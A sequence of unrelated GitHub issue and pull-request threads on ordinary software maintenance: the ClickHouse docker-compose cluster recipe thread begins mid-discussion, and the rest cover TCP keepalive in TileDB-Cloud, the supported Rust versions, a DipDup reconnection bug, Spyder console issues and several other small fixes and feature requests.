clickhouse-keeper-01  | Election completed, will ignore the voting result from this server
clickhouse-keeper-03  | Could not preallocate space on disk using fallocate. Error: errno: 95, strerror: Operation not supported, errno: 95
clickhouse-keeper-02  | Could not preallocate space on disk using fallocate. Error: errno: 95, strerror: Operation not supported, errno: 95
clickhouse-keeper-02  | receive a config change from leader at 2248
clickhouse-keeper-03  | receive a config change from leader at 2248
clickhouse-keeper-02  | config at index 2123 is committed, prev config log idx 2123
clickhouse-keeper-02  | skipped config 2123, latest config 2123
clickhouse-keeper-01  | config at index 2123 is committed, prev config log idx 2123
clickhouse-keeper-01  | skipped config 2123, latest config 2123
clickhouse-keeper-01  | config at index 2248 is committed, prev config log idx 2123
clickhouse-keeper-01  | new config log idx 2248, prev log idx 2123, cur config log idx 2123, prev log idx 1838
clickhouse-keeper-01  | new configuration: log idx 2248, prev log idx 2123
clickhouse-keeper-01  | peer 1, DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-01  | peer 2, DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-01  | peer 3, DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-01  | my id: 1, leader: 1, term: 15
clickhouse-keeper-03  | config at index 2123 is committed, prev config log idx 2123
clickhouse-keeper-03  | skipped config 2123, latest config 2123
clickhouse-keeper-02  | config at index 2248 is committed, prev config log idx 2123
clickhouse-keeper-02  | new config log idx 2248, prev log idx 2123, cur config log idx 2123, prev log idx 1838
clickhouse-keeper-02  | new configuration: log idx 2248, prev log idx 2123
clickhouse-keeper-02  | peer 1, DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-02  | peer 2, DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-02  | peer 3, DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-02  | my id: 2, leader: 1, term: 15
clickhouse-keeper-03  | config at index 2248 is committed, prev config log idx 2123
clickhouse-keeper-03  | new config log idx 2248, prev log idx 2123, cur config log idx 2123, prev log idx 1838
clickhouse-keeper-03  | new configuration: log idx 2248, prev log idx 2123
clickhouse-keeper-03  | peer 1, DC ID 0, clickhouse-keeper-01:9234, voting member, 1
clickhouse-keeper-03  | peer 2, DC ID 0, clickhouse-keeper-02:9234, voting member, 1
clickhouse-keeper-03  | peer 3, DC ID 0, clickhouse-keeper-03:9234, voting member, 1
clickhouse-keeper-03  | my id: 3, leader: 1, term: 15
clickhouse-keeper-02  | Requesting session ID for the new client
clickhouse-keeper-01  | receive a incoming rpc connection
clickhouse-keeper-02  | 0xffff00c6bc18 connected to clickhouse-keeper-01:9234 (as a client)
clickhouse-keeper-01  | session 1 got connection from ::ffff:<IP_ADDRESS>:47932 (as a server)
clickhouse-keeper-02  | Received session ID 27
clickhouse-keeper-03  | Requesting session ID for the new client
clickhouse-keeper-01  | receive a incoming rpc connection
clickhouse-keeper-01  | session 2 got connection from ::ffff:<IP_ADDRESS>:54152 (as a server)
clickhouse-keeper-03  | 0xfffdc0380018 connected to clickhouse-keeper-01:9234 (as a client)
clickhouse-keeper-03  | Received session ID 28
clickhouse-keeper-01  | Found dead session 26, will try to close it
clickhouse-keeper-01  | Dead session close request pushed
clickhouse-keeper-01  | Found dead session 25, will try to close it
clickhouse-keeper-01  | Dead session close request pushed

what would your proposal achieve instead?

Fixed perms:
❯ sudo chown -R 101:101 fs
❯ ls -l fs/volumes/clickhouse-keeper-01/var/lib/
❯ docker compose up
[+] Running 6/4
 ⠿ Network network_cluster_1S_2R   Created                                                                   0.1s
 ⠿ Container clickhouse-keeper-02  Created                                                                   0.0s
 ⠿ Container clickhouse-keeper-01  Created                                                                   0.0s
 ⠿ Container clickhouse-keeper-03  Created                                                                   0.0s
 ⠿ Container clickhouse-02         Created                                                                   0.0s
 ⠿ Container clickhouse-01         Created                                                                   0.0s
Attaching to clickhouse-01, clickhouse-02, clickhouse-keeper-01, clickhouse-keeper-02, clickhouse-keeper-03
clickhouse-keeper-01  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-01  | Logging trace to /var/log/clickhouse-keeper/clickhouse-keeper.log
clickhouse-keeper-01  | Logging errors to /var/log/clickhouse-keeper/clickhouse-keeper.err.log
clickhouse-keeper-03  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-03  | Logging trace to /var/log/clickhouse-keeper/clickhouse-keeper.log
clickhouse-keeper-03  | Logging errors to /var/log/clickhouse-keeper/clickhouse-keeper.err.log
clickhouse-keeper-02  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-02  | Logging trace to /var/log/clickhouse-keeper/clickhouse-keeper.log
clickhouse-keeper-02  | Logging errors to /var/log/clickhouse-keeper/clickhouse-keeper.err.log
clickhouse-keeper-01  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-01  | Saved preprocessed configuration to '/etc/clickhouse-keeper/keeper_config-preprocessed.xml'.
clickhouse-keeper-03  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-03  | Saved preprocessed configuration to '/etc/clickhouse-keeper/keeper_config-preprocessed.xml'.
clickhouse-keeper-02  | Processing configuration file '/etc/clickhouse-keeper/keeper_config.xml'.
clickhouse-keeper-02  | Saved preprocessed configuration to '/etc/clickhouse-keeper/keeper_config-preprocessed.xml'.
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-02         | Logging debug to /var/log/clickhouse-server/clickhouse-server.log
clickhouse-02         | Logging errors to /var/log/clickhouse-server/clickhouse-server.err.log
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-01         | Logging debug to /var/log/clickhouse-server/clickhouse-server.log
clickhouse-01         | Logging errors to /var/log/clickhouse-server/clickhouse-server.err.log
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-02         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/config.xml'.
clickhouse-02         | Processing configuration file '/etc/clickhouse-server/users.xml'.
clickhouse-02         | Merging configuration file '/etc/clickhouse-server/users.d/users.xml'.
clickhouse-02         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/users.xml'.
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/config.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/config.d/config.xml'.
clickhouse-01         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/config.xml'.
clickhouse-01         | Processing configuration file '/etc/clickhouse-server/users.xml'.
clickhouse-01         | Merging configuration file '/etc/clickhouse-server/users.d/users.xml'.
clickhouse-01         | Saved preprocessed configuration to '/var/lib/clickhouse/preprocessed_configs/users.xml'.

ha! good catch, anyway was same setup with my logging changes and chproxy. keeper logs to logs vs stdou even better, make a commit? let-s quick sync on slack so we close this

@DanRoscigno good to push keeper logs to file, but trace level by default is overkill, so I'd switch to  information
adding to that, for keepers right now we have discrepancies between:
volume:
volumes:
      - ${PWD}/fs/volumes/clickhouse-keeper-03/etc/clickhouse-keeper/keeper_config.xml:/etc/clickhouse-keeper/keeper_config.xml
      - ${PWD}/fs/volumes/clickhouse-keeper-03/var/lib/clickhouse:/var/lib/clickhouse
      - ${PWD}/fs/volumes/clickhouse-keeper-03/var/log/clickhouse-server:/var/log/clickhouse-server

xml config
    <logger>
        <level>information</level>
        <log>/var/log/clickhouse-keeper/clickhouse-keeper.log</log>
        <errorlog>/var/log/clickhouse-keeper/clickhouse-keeper.err.log</errorlog>
        <size>1000M</size>
        <count>3</count>
    </logger>
    <listen_host><IP_ADDRESS></listen_host>
    <keeper_server>
        <tcp_port>9181</tcp_port>
        <server_id>1</server_id>
        <log_storage_path>/var/lib/clickhouse/coordination/log</log_storage_path>
        <snapshot_storage_path>/var/lib/clickhouse/coordination/snapshots</snapshot_storage_path>

and folder structure
➜  cluster_1S_2R git:(docker-compose-import) ✗ pwd
/Users/abonuccelli/Projects/ClickHouse/examples/docker-compose-recipes/cluster_1S_2R
➜  cluster_1S_2R git:(docker-compose-import) ✗ find fs/volumes/clickhouse-keeper-01/var/log
fs/volumes/clickhouse-keeper-01/var/log
fs/volumes/clickhouse-keeper-01/var/log/clickhouse-server
fs/volumes/clickhouse-keeper-01/var/log/.gitignore
➜  cluster_1S_2R git:(docker-compose-import) ✗

will try to fix these by today

@DanRoscigno  I've pushed multiple fixes:

add proper display names for grafana, openldap, S3 minio;
fixed paths for keeper logs
set keeper logging level to information

I also think that we should be mapping just the strictly necessary volumes to feed config files, and otherwise leave everything in the container fs, user can then be free to map whaterver is needed. this also dramatically reduces the complexity and maintenance burden of these recipes (I have plenty more coming). So I'll work on that next

I've also added all cluster_* variants with CH proxy and reorganised the repo and README.md(s)

It looks like the keeper_config.xml got replaced with the generated one.  Does this improve things?  I worry about giving people a file that has the "Do not edit this file" header, as ideally they should experiment to learn.

@DanRoscigno I am not sure I follow, can you please be more specific?
which of the 6 recipes using keepers are you referring to?
looking at cluster_2S_1R, clickhouse-keeper-01 for example we do mount the folder to make use of the related keeper_config.xml as have discussed in previous iterations, and use same approach throughout all occurrences.
I did test each of the 9 recipes provided by launching them and creating a replicated table (for the cluster_* ones) FWIW

sorry, cluster_1S_2R and 1S_2R with proxy

I've just changed to mount for all CH components just the config files, not the folders, preprocessed files will hence not make it back into host fs.
also fixed some leftover values still referring to previous subnetting

@DanRoscigno I didn't realise earlier that preprocessed file made it into the repo

attempting to get rid of all network references and script, and hardcoded IPs and use hostnames to simplify cc @DerekChia


django: Use HttpRequest.headers

Fixes #14769.

lgtm aside from Alex's questions!

Merged, thanks @andersk!


Enable keepalive pings on sockets to prevent connection drops.

For particularly long-running UDFs or SQL queries, the server may go
minutes or more without responding with any data back to the client.
This means that NATs or load balancers may drop the connection,
resulting in the loss of all the UDF's progress. This change enables
1-minutely TCP keepalive pings on sockets, so idle connections are
kept fresh and do not have an opportunity to go stale.
Short-lived connections and long-lived connections that do not go idle
due to ongoing transfers are unaffected.

I have tested this on my Linux VM and verified that it works there using tcpdump. The below screenshot is from a test where I set a 5-second keepalive time and executed udf.exec(time.sleep, 30):

I don’t have a Mac to test this on, but these steps should verify that keepalive also works there:

In your checkout, replace _KEEPALIVE_SECONDS = 60 with 5 or some other value.
In a venv:$ pip install --update pip wheel && pip install path/to/TileDB-Cloud
$ ipython
In[1]: # login to tiledb cloud if you haven't already
In[2]: from tiledb.cloud import udf
In[3]: import time

In a separate terminal:root@your-mac# tcpdump -w /some/output/file.pcap port 443 and host api.cloud.tiledb.com

(You could also do probably do this with the Wireshark GUI.)
Back in the venv terminal:In[4]: udf.exec(time.sleep, 30)

and wait for it to return. exit() the ipython session.
Interrupt (still ctrl-C on Mac?) the tcpdump. Open the pcap file you just created and you should see keepalive packets.

Do we still need this?

This PR is not relevant anymore.


Which versions of Rust to support?

As far as I can tell we have no commitments so far about which versions of Rust this crate will support. For example, do we require nightly, or support Rust 1.0, or Rust edition 2018, and will we bump the minimum required version going forward.
To me, the important thing is to stick with stable, and have at least a ~3 month grace period before requiring the most recent version of stable. For a library like this, likely to be a dependency of applications and to have security updates at some point, I would lean towards maintaining compatibility with older versions of the language, so it is as easy as possible for folks to update and get any security updates. We have the opportunity now (while supporting few/zero users) to support a relatively recent version of Rust so we don't have to support versions which are already old going in to the future. A counter-argument to being conservative about versions is that the Rust stable ecosystem is actually quite stable and it seems to be safe an easy to upgrade rustc, we we might be able to stick with the latest stable releases without causing anybody grief.
To propose something specific:

have a 1-2 sentence statement in the README describing what versions are supported and how that changes over time
commit to always working with stable (eg, never use nightly-only features)
as a starting point, support Rust 2018 edition and Rust version 1.47+ (the current stable version)
going forward, commit to not bumping the required version of Rust until that (stable) version has been released for 6 months

I agree with not using any nightly-only features and making sure we stick with stable.
As you mentioned, we're at a good point not having to support older versions so Rust 2018 edition and Rust version 1.47+ sound good to me.
We can have the GitHub actions script updated to make sure 1.47 and latest stable are covered in build and test.


Search higlighting

Summary
When a user searches for a term, highlight in the results what my search result matched on.
💬 Description
The search would work even better if it was like the attached (MUI), providing a snippet.
💰 Use value
Would give the user more information behind their search results
Additional info

Won't do for now


Fix api-transaction-methods

we expect the API to have at least the same number of methods

Looks like oasisscan API diverged, and I am unable to merge a PR, detailed here -> https://github.com/oasisprotocol/oasis-wallet-web/actions/runs/9580670138/job/26415798493?pr=1978

Closing this in favor of https://github.com/oasisprotocol/oasis-wallet-web/pull/1981


Font request: butler

Can’t do it right now, so left as an issue. Butler.

Fixed in https://github.com/caskroom/homebrew-fonts/issues/420


[BUG] Invalid GitHub links

Description
There seem to be a few people's names that lead to GitHub's homepage, or a few other links that are invalid.
Those should be fixed immediately. If you want to know their usernames, we can check the owners of the PR.
For the invalid links, we could ask them directly or remove them.
Additional information
None.

Hey I would like to work on this.
But I have a question are you talking about the main readme file here? In that file some people's name link point to an invalid/GitHub homepage, right?

Hey, @Panquesito7 I would like to work on this.
But I have a question are you talking about the main readme file here? In that file some people's name link point to an > invalid/GitHub homepage, right?

Yep, that's the error. 🙂

Hey, @Panquesito7  does this issue also count for the hacktoberfest? just want to clarify.

Hey, @Panquesito7 does this issue also count for the hacktoberfest? just want to clarify.

It should, IMO.

Hey, @Panquesito7 I found problems with the names of these people. I've fixed all the broken links except for 2 folks, 1 is Anirudha Das 2 is Hardik Jaiswal. I could not find their correct[latest] user names on Closed PRs. So what should I do next?
Should I raise my pull request?

Hey, @Panquesito7 I found problems with the names of these people. I've fixed all the broken links except for 2 folks, 1 is Anirudha Das 2 is Hardik Jaiswal. I could not find their correct[latest] user names on Closed PRs. So what should I do next?
Should I raise my pull request?

Hmm. I will ask the staff from the Discord server and see if they know any of them.
Ping me in a few days in case I don't make any comment here. Thank you. 🙂

Hey, @Panquesito7 this issue did not count for the hacktoberfest. Maybe a label is also necessary? Is it possible to add a label now?
Thanks :)

Is this issue still open?


code refactor in xxd

capitalize argv[1] in-place (reduce duplicated code)
remove unnecessary assignments

xxd was intentionally written in a very portable way, not depending on more than basic C libraries.
The vprintf() function may not be available everywhere.

I updated the code to use macro instead of vfprintf

I don't like changing argv[], I'll leave that part of the change out.


436 prefill name for author and point of contact should be familyname givenname format

What this PR does / why we need it:
The pre-filled author and point of contact name format should be aligned with the watermark and JSF. It changes from First Name Last Name to Last Name, First Name in Create Dataset page.
Which issue(s) this PR closes:

Closes #436

Special notes for your reviewer:
Suggestions on how to test this:
Please check if the pre-filled Author name and Point of contact name is in the right format Last Name, First Name, in Create Dataset page.
Does this PR introduce a user interface change? If mockups are available, please link/include them here:

Is there a release notes update needed for this change?:
No
Additional documentation:

coverage: 97.396%. remained the same
when pulling 6fdc88775031fae155b5161fb9d73b4ee186be8f on 436-prefill-name-for-author-and-point-of-contact-should-be-familyname-givenname-format
into bf9e6d8be4b2a644eabc2f612e2b0a765491fc76 on develop.

looks good, merging!


Can't load unpacked

I use opera GX and followed the instructions, when i select the folder it says could not find manifest file, i also tried the bookmark method, the themes show up but the highlighted answers don't

Hi @LMAOIDK12
For loading the extension, make sure you have selected the extensions' folder within the main folder. In there are the extension files, as well as the manifest.json.
“the themes show up but the highlighted answers don't”. It Highlights the correct bookwork code during the bookwork check.
If this does not help re-open this issue.
Thanks, Najm


Serialization should consider DateTimeKind for UTC and non-UTC DateTimes

Right now serialization doesn't handle DateTimeKind. This makes interop with some libraries (like Telerik's RadSchedule stuff) problematic. If we pay attention to the DateTimeKind, and preserve it during serialization and deserialization, interop will improve, and the library will provide higher-resolution results.

Fixed in nuget version 4.0.0: https://www.nuget.org/packages/Ical.Net/4.0.0


Support "with statement" in sprocket.util.HDF5

This PR enables sprocket.util.HDF5 to be used in with statement like open() and tempfile.TemporaryDirectory().
from sprocket.util import HDF5

with open("./foo.h5") as h5:
    h5.save([1, 2, 3], "bar")

Coverage decreased (-0.2%) to 88.934% when pulling b4add7931c4aae24044b40205fca033e8e501d5e on tats-u:support-with-hdf5 into 3d733fcdc56e2f9d0ea36bdfc84cb846f1bce39b on k2kobayashi:master.

Coverage decreased (-0.2%) to 88.934% when pulling b4add7931c4aae24044b40205fca033e8e501d5e on tats-u:support-with-hdf5 into 3d733fcdc56e2f9d0ea36bdfc84cb846f1bce39b on k2kobayashi:master.


Log Config: Nginx log type fail to parse $time_iso8601

Describe the bug
When I create Log Config and select Nginx Log Type, I input log_format main_format  '$time_iso8601'; in Nginx Log Format and 2023-03-14T11:10:23+00:00 in Sample Log. Error message then occur: The verification failed. Make sure that the sample log matches the specified log_format.
Expected Behavior
The verification should succeed, and Parse Log with Key time_iso8601 and Value 2023-03-14T11:10:23.
Current Behavior
Same as description above.
Reproduction Steps

Possible Solution
No response
Additional Information/Context
No response
Log Hub Version
1.2.1
AWS Region. e.g., us-east-1
No response
Other information
No response

fixed in v2 https://github.com/aws-solutions/centralized-logging-with-opensearch/releases/tag/v2.0.0


Variables from scripts not defined in python console and variable explorer

Description of your problem
What steps will reproduce the problem?

define a script with a variable assignment, nw = 1
Execute in current Python console
Run the script (with runfile command or F5)

What is the expected output? What do you see instead?
The "nw" variable along with the assigned value (1) should appear in the variable explorer.
If I type 'nw' in the console, I get the following error:
NameError: name 'nw' is not defined
If I write directly on the console, everything is fine.
Please provide any additional information below
I installed Anaconda navigator 1.4.3 two weeks ago
Versions and main components

Spyder Version: 3.1.3
Python Version: 3.6.0
Qt Version: 5.6.2
PyQt Version: 5.6
Operating system: Darwin (Mac OS 10.8.5)

Dependencies
Please go to the menu entry Help > Optional Dependencies (or
Help > Dependencies), press the button Copy to clipboard
and paste the contents below:
jedi =0.9.0      :  0.9.0 (OK)
matplotlib >=1.0 :  2.0.0 (OK)
nbconvert >=4.0  :  4.2.0 (OK)
numpy >=1.7      :  1.11.3 (OK)
pandas >=0.13.1  :  0.19.2 (OK)
pep8 >=0.6       :  1.7.0 (OK)
psutil >=0.3     :  5.0.1 (OK)
pyflakes >=0.6.0 :  1.5.0 (OK)
pygments >=2.0   :  2.1.3 (OK)
pylint >=0.25    :  1.6.4 (OK)
qtconsole >=4.2.0:  4.2.1 (OK)
rope >=0.9.4     :  0.9.4-1 (OK)
sphinx >=0.6.6   :  1.5.1 (OK)
sympy >=0.7.3    :  None (NOK)

The Python console is going to be removed in Spyder 3.2, so we're not going to fix more bugs about it.
Please use the IPython console instead.


Teleport UW

Teleportation in UW don't work. PLZ fix it

If I`m not mistaken, the bug was fix in a recent game update and it for this reason it can't be fix in Toolbox.


In the navigation pane, choose Device configuration. ???

Hi,
Can you elaborate about this :
In the navigation pane, choose Device configuration.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7a6e4ee4-97f2-9d40-5a92-4580fa0d25ac
Version Independent ID: 7a6e4ee4-97f2-9d40-5a92-4580fa0d25ac
Content: Device groups in Microsoft Defender for Business
Content Source: microsoft-365/security/defender-business/mdb-create-edit-device-groups.md
Product: m365-security
Technology: mdb
GitHub Login: @denisebmsft
Microsoft Alias: deniseb

@msbemba Thank you very much for the contribution and sharing this explanation. @bencorley Hope this comment is helpful for you. If you see a documentation update is required, please feel free to open an issue for the same. We proceed here to close it. Thanks for taking out some time to open the issue. Appreciate and encourage you to do the same in future also.


Determine query types before resolving

Curious if anyone could point me in the right direction to determine the types being queried in a request before handling and resolving? I understand this might require calling one of the packages underneath the hood, but not sure where to look.
I am creating a gateway service that sits in front of an older graphql service written in PHP. If any types from the older service are queried, I'd like to proxy the request to the older service.
Thanks.

Hi @blakeandrewwood,
unfortunately this is not a feature that we currently support. You might be looking for something like Apollo GraphQL Federation.
In order to achieve this you might need to fork and change the internals of this library.
There has been issues(requests) and at least one PR in the past which allow you to see the requested fields.
Federation (formerly known as "schema stitching") is something that I am interested in and PRs would be welcomed.


Pop-up banners

In order to let attendees know where the event's happening without needing someone stood on the street, we need to procure 2 pop-up banners with JSOxford logos.
We have ~£50 budget for this, and it looks like there are options available in that price range.
Design
We'll need the banners to have:

The standard horse, lasery of course.
The JSOxford logo
Space for us to stick/tape an arrow pointing in the direction of the event

Those roll up banners... pretty sure theres a good chance they'll blow away.

Yeah, they're not really for outdoors - you'd want something more like an A-frame sign and a couple of laser horses on pieces of paper.
e.g. https://www.amazon.co.uk/-Board-Pavement-Display-Board-Sign/dp/B003VUY3P4/ref=sr_1_1?ie=UTF8&qid=1463990670&sr=8-1&keywords=a-frame+sign

Anyone good at chalk art? 😉  https://www.amazon.co.uk/dp/B00VKQTLD0?psc=1

We now have a flag, and the JS OxHack popup sign thing from Render 2017.
This is totally sorted, so will close and it can be re-opened if any further work is needed.


Feat: Upgrade Bitkeep Wallet Adapter

Hi solana-labs team,
This PR upgrade the Bitkeep adapter as 'Bitkeep Wallet' has been rebranded to 'Bitget Wallet'
Type of Change:

New Feature

Checklist:

[x] My code follows the project's style guidelines
[x] I have performed a self-review of my own code
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings or errors
[x] I have added comments to my code as a warning against using deprecated exports.

Additional Notes:
Hi @jordaaash ,
This PR is downstream of #838. The modifications you suggested for #838 have been implemented in this PR.
Could you please review it again? Feel free to raise any concerns at any time.
Thanks again for your assistance.

Thanks, gave it a review. 2 major issues --

Detection/loading isn't going to work as-is. It needs to conditionally async load the SDK iff the extension isn't detected, and the readyState logic needs to be updated accordingly to reflect that it's installed or loadable. See Solflare.
Please minimally update the names and reexport the old names as needed, rather than copying the code.


Realtime message queue not invalidates on reconnection

Steps to reproduce:
Environment

Python version: 3.10
DipDup version or commit hash: 5.1.0
Hasura version: 2.0.1
Are you in docker? yes
Can you reproduce this issue on master?

Error
Traceback (most recent call last):
  File "/usr/local/bin/dipdup", line 8, in <module>
    sys.exit(cli())
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 1150, in __call__
    return anyio.run(self._main, main, args, kwargs, **({"backend":_anyio_backend} if _anyio_backend is not None else {}))
  File "/usr/local/lib/python3.10/site-packages/anyio/_core/_eventloop.py", line 56, in run
    return asynclib.run(func, *args, **backend_options)
  File "/usr/local/lib/python3.10/site-packages/anyio/_backends/_asyncio.py", line 233, in run
    return native_run(wrapper(), debug=debug)
  File "/usr/local/lib/python3.10/asyncio/runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "/usr/local/lib/python3.10/asyncio/base_events.py", line 646, in run_until_complete
    return future.result()
  File "/usr/local/lib/python3.10/site-packages/anyio/_backends/_asyncio.py", line 228, in wrapper
    return await func(*args)
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 1153, in _main
    return await main(*args, **kwargs)
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 1074, in main
    rv = await self.invoke(ctx)
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 1684, in invoke
    return await _process_result(await sub_ctx.command.invoke(sub_ctx))
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 1420, in invoke
    return await ctx.invoke(self.callback, **ctx.params)
  File "/usr/local/lib/python3.10/site-packages/asyncclick/core.py", line 774, in invoke
    rv = await rv
  File "/usr/local/lib/python3.10/site-packages/dipdup/cli.py", line 89, in wrapper
    await fn(*args, **kwargs)
  File "/usr/local/lib/python3.10/site-packages/dipdup/cli.py", line 229, in run
    await dipdup.run()
  File "/usr/local/lib/python3.10/site-packages/dipdup/dipdup.py", line 415, in run
    await gather(*tasks)
  File "/usr/local/lib/python3.10/site-packages/dipdup/dipdup.py", line 88, in run
    await gather(*tasks)
  File "/usr/local/lib/python3.10/site-packages/dipdup/dipdup.py", line 116, in _run
    await gather(*tasks)
  File "/usr/local/lib/python3.10/site-packages/dipdup/index.py", line 232, in process
    await self._process_queue()
  File "/usr/local/lib/python3.10/site-packages/dipdup/index.py", line 642, in _process_queue
    await self._process_level_big_maps(big_maps)
  File "/usr/local/lib/python3.10/site-packages/dipdup/index.py", line 733, in _process_level_big_maps
    raise RuntimeError(f'Level of big map batch must be higher than index state level: {batch_level} <= {index_level}')
RuntimeError: Level of big map batch must be higher than index state level: 2389978 <= 2389980

INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.index         assetMap_bigmap: 2389967: `on_asset_update` handler matched!
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389969 -> 2389970
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389969 -> 2389970
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389970 -> 2389971
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389970 -> 2389971
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389971 -> 2389972
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389971 -> 2389972
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389972 -> 2389973
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389972 -> 2389973
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389973 -> 2389974
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389973 -> 2389974
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389974 -> 2389975
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389974 -> 2389975
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389975 -> 2389976
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389975 -> 2389976
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389976 -> 2389977
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389976 -> 2389977
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389977 -> 2389978
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389977 -> 2389978
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389978 -> 2389979
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389978 -> 2389979
WARNING  pysignalr.transport  Connection closed: no close frame received or sent
INFO     pysignalr.transport  State change: connected -> reconnecting
INFO     dipdup.tzkt          tzkt_mainnet: Realtime connection lost
INFO     dipdup.tzkt          tzkt_mainnet: Subscribing to 6 channels
INFO     pysignalr.transport  State change: reconnecting -> disconnected
INFO     dipdup.tzkt          tzkt_mainnet: Realtime connection lost
INFO     pysignalr.transport  State change: disconnected -> connecting
INFO     pysignalr.transport  Performing negotiation, URL: `https://api.tzkt.io/v1/events/negotiate?id=Nxt8NvldF2HPA-OHYOtiyQ`
INFO     pysignalr.transport  Negotiation completed
INFO     pysignalr.transport  Sending handshake to server
INFO     pysignalr.transport  Awaiting handshake from server
INFO     pysignalr.transport  State change: connecting -> connected
INFO     dipdup.tzkt          tzkt_mainnet: Realtime connection established
INFO     dipdup.tzkt          tzkt_mainnet: Subscribed to 6 channels
INFO     dipdup.index         tzbtc_holders_mainnet: Index is behind datasource level, syncing: 2389855 -> 2389980
INFO     dipdup.index         tzbtc_holders_mainnet: Synchronizing index to level 2389980
INFO     dipdup.index         ovens_bigmap: Index is behind datasource level, syncing: 2389977 -> 2389980
INFO     dipdup.index         ovens_bigmap: Synchronizing index to level 2389980
INFO     dipdup.index         assetMap_bigmap: Index is behind datasource level, syncing: 2389977 -> 2389980
INFO     dipdup.index         assetMap_bigmap: Synchronizing index to level 2389980
INFO     dipdup.index         tzbtc_holders_mainnet: Fetching operations from level 2389856 to 2389980
INFO     dipdup.index         ovens_bigmap: Fetching big map diffs from level 2389978 to 2389980
INFO     dipdup.index         assetMap_bigmap: Fetching big map diffs from level 2389978 to 2389980
INFO     dipdup.index         ovens_bigmap: Index is synchronized to level 2389980
INFO     dipdup.index         assetMap_bigmap: Index is synchronized to level 2389980
INFO     dipdup.index         tzbtc_holders_mainnet: Index is synchronized to level 2389980
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: head, DATA, 2389979 -> 2389980
INFO     dipdup.tzkt          tzkt_mainnet: Realtime message received: big_map, DATA, 2389979 -> 2389980 ```

Thanks. The reason behind this issue is that DipDup is not processing WebSocket reconnection events correctly. However, indexed data does not corrupt when this issue occurs; you're safe to continue with an existing database.


[Discussion] Training documentation?

Can we get some more documentation on training? There's a small section in the wiki, but there's no explanation of the config file. What do all the options mean (in layperson's terms, to the extent possible), and what are the ranges of acceptable values?

Hi @GelflingHand,
Parameters of the config files are described in this wiki page.
There may be some information missing, so feel free to ask, we'll do our best for inserting missing information in the wiki if needed.

